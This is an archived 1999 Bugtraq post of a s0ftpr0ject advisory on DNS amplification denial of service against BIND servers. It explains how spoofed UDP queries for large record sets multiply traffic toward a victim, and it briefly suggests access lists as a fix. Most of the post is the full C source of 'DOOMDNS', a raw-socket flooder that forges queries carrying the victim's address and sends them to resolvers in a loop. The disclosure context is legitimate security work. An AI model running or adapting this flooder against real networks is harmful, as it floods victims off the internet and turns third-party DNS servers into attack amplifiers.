Possible Denial Of Service using DNS
Date: Sat, 31 Jul 1999 00:00:10 +0200
From: smaster@sail.it
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Possible Denial Of Service using DNS
SPJ-002-000:
.::::::::+[ s0ftpr0ject 99 ]+::::::::.
::::+[ Digital Security for Y2K ]+::::
:::'"""`"'"""`"'"""`"'"""`"'"`"'""`:::
::'.g#S$"$S#n. .g#S$"$S#n. S#n.`::
:: $$$$$ $$$$$ $$$$$ $$$$$ $$$$ ::
:: $$$$$ $$$$$ $$$$$ $$$$ ::
:: `$$$$$$$$$n $$$$$ $$$$$ $$$$ ::
:: $$$$$ $$$$$s$$$$' $$$$ ::
:: $$$$$ $$$$$ $$$$$ $$$$$ $$$$ ::
:: `$$$$s$$$S' `$$$$ `$$$$s$$S' ::
:::...........:.....:::::..........:::
:::+[ Security Advisory, 002-000 ]+:::
`::::::::+[ July 19, 1999 ]+:::::::::'
Possible Denial Of Service using DNS
by |scacco| <scacco@s0ftpj.org>
---[ Systems affected ]-------------------------------------------------------
All systems running Bind (All versions seems affected).
---[ Condition of discovery ]-------------------------------------------------
This misfeature was discovered configuring bind on a Red Hat 5.2 system
shipped with the original cdrom, allowing udp dns requests and without
access lists.
---[ Detailed description ]---------------------------------------------------
All domain name systems resides on port 53 formely called domain. Looking at
rfc and in particular at RedHat system defaults seems that port 53 is enabled
to support udp and tcp requests as specified in /etc/services file:
domain 53/tcp
domain 53/udp
It's possible to flood someone sending spoofed UDP QUERY to the DNS,
because UDP doesn't provide a fruitful authentication process.
Why use DNS QUERY? Simple. We just want to make sure we've got a real advantage
against our nice target so we look for a good I/O ratio. With just a few bytes
(20-30) we can achieve responses of around 400-500 bytes. So we usually
achieve a 20x ratio. Furthemore, every DNS reply will eligit ICMP unreach
packets from the target since no UDP port will be open to accept data.
A modem user compared with large RR of type * (0xFF) will be flooded. *
---[ Exploitation ]-----------------------------------------------------------
/******************************************************************
* *
* DOOMDNS Yet another flooder with 1:x pkts ratio. This one *
* exploits DNS simple QUERY with spoofed UDPs. *
* Since almost every DNS is bound to answer queries *
* from the void, and since UDP doesn't provide a *
* fruitful authentication process cause plain TCP *
* does, uh !? ;) here we are. *
* *
* hints by |scacco|, code by FuSyS *
* http://www.s0ftpj.org *
* *
******************************************************************/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <time.h>
#define IP_HEAD_BASE 20
#define UDP_HEAD_BASE 8
unsigned long saddr;
int sfd, loop;
char *dns_def[]={/* LISTA ASSENTE */ ,NULL};
char *domains[]={/* LISTA ASSENTE */ ,NULL};
struct DNS_MSG {
HEADER head;
char query[255];
};
struct dns_pkt {
struct iphdr ip;
struct udphdr udp;
char data[1000];
};
unsigned long nameResolve(char *hostname)
{
struct in_addr addr;
struct hostent *hostEnt;
if((addr.s_addr=inet_addr(hostname)) == -1)
{
if(!(hostEnt=gethostbyname(hostname)))
{
fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname);
exit(0);
}
bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
}
return addr.s_addr;
}
void forge (unsigned long daddr, unsigned short src, unsigned short dst)
{
struct sockaddr_in sin;
struct dns_pkt dpk;
struct DNS_MSG killer;
int shoot, len;
memset(&killer, 0, sizeof(killer));
killer.head.id=getpid();
killer.head.rd=1;
killer.head.aa=0;
killer.head.opcode=QUERY;
killer.head.qr=0;
killer.head.qdcount=htons(1);
killer.head.ancount=htons(0);
killer.head.nscount=htons(0);
killer.head.arcount=htons(0);
strcat(killer.query, domains[--loop]);
killer.query[strlen(domains[loop])+2]=0x00FF;
killer.query[strlen(domains[loop])+4]=0x0001;
memset(&dpk, 0, sizeof(dpk));
dpk.udp.source=src;
dpk.udp.dest=dst;
len=(12+strlen(killer.query)+5);
dpk.udp.len=htons(UDP_HEAD_BASE+len);
memcpy(dpk.data, (void*)&killer, len);
dpk.ip.ihl=5;
dpk.ip.version=4;
dpk.ip.tos=0;
dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
dpk.ip.frag_off=0;
dpk.ip.ttl=64;
dpk.ip.protocol=IPPROTO_UDP;
dpk.ip.saddr=saddr;
dpk.ip.daddr=daddr;
memset(&sin, 0, sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=dst;
sin.sin_addr.s_addr=daddr;
shoot=sendto(sfd, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,
0, (struct sockaddr *)&sin, sizeof(sin));
if(shoot<0)fprintf(stderr, "SPOOF ERROR");
loop++;
}
void doomzone (void)
{
unsigned long daddr;
unsigned short source, dest;
if(dns_def[loop]==NULL) loop=0;
daddr=nameResolve(dns_def[loop++]);
source=htons(1024+(rand()%2000));
dest=htons(53);
forge(daddr, source, dest);
}
int main (int argc, char **argv)
{
int sfdo;
unsigned int hz=100;
if(argc<2) {
fprintf(stderr, "Interesting .... let's flood ourselves ?!\n");
fprintf(stderr, "Use: %s target [n]\n", argv[0]);
exit(0);
}
if(argv[2]) hz=atoi(argv[2]);
saddr=nameResolve(argv[1]);
srand(time(NULL));
if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) {
fprintf(stderr, "\nSOCK_RAW Died\n");
exit(2);
}
sfdo=1;
if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0) {
fprintf(stderr, "\nIP_HDRINCL Died\n");
exit(3);
}
printf("\n\033[1;32mD00M DNS\033[0m");
printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m");
printf("\n\033[1;34minithints by |scacco|\033[0m\n\n");
loop=0;
while(hz--) {
doomzone();
printf("\033[1;34m.\033[0m");
}
printf("\n\n");
return(0);
}
---[Possible fixes ]----------------------------------------------------------
Seems hard to fix this hole due to dns protocol specification, it could be
possible to setup access lists or some sort of packet sanity check, for this
we want suggest you to keep in contact with ISC staff to get a more efficent
solution for this problem.
---[ URLs and references ]----------------------------------------------------
Internet Software Consurtium can be found at http://www.isc.org.
This is also the home of bind.
---[ Contact informations ]---------------------------------------------------
s0ftpr0ject 99 - Digital security for Y2K (s0ftpj)
no-profit security research
Internet site: http://www.s0ftpj.org
E-mail : staff@s0ftpj.org
All advisories and security documents are available via http at:
http://www.s0ftpj.org (195.32.69.44) courtesy of Metro Olografix
http://www.olografix.org (195.32.69.44)
This document has no copyright, feel free to distribute it without any
limitation. Original copy of this document can be found at out Internet site
for free. You are not allowed to modify this paper without prior notify to
s0ftpr0ject staff at staff@s0ftpj.org.
---[ s0ftpr0ject 99 staff Public PGP Key ]------------------------------------
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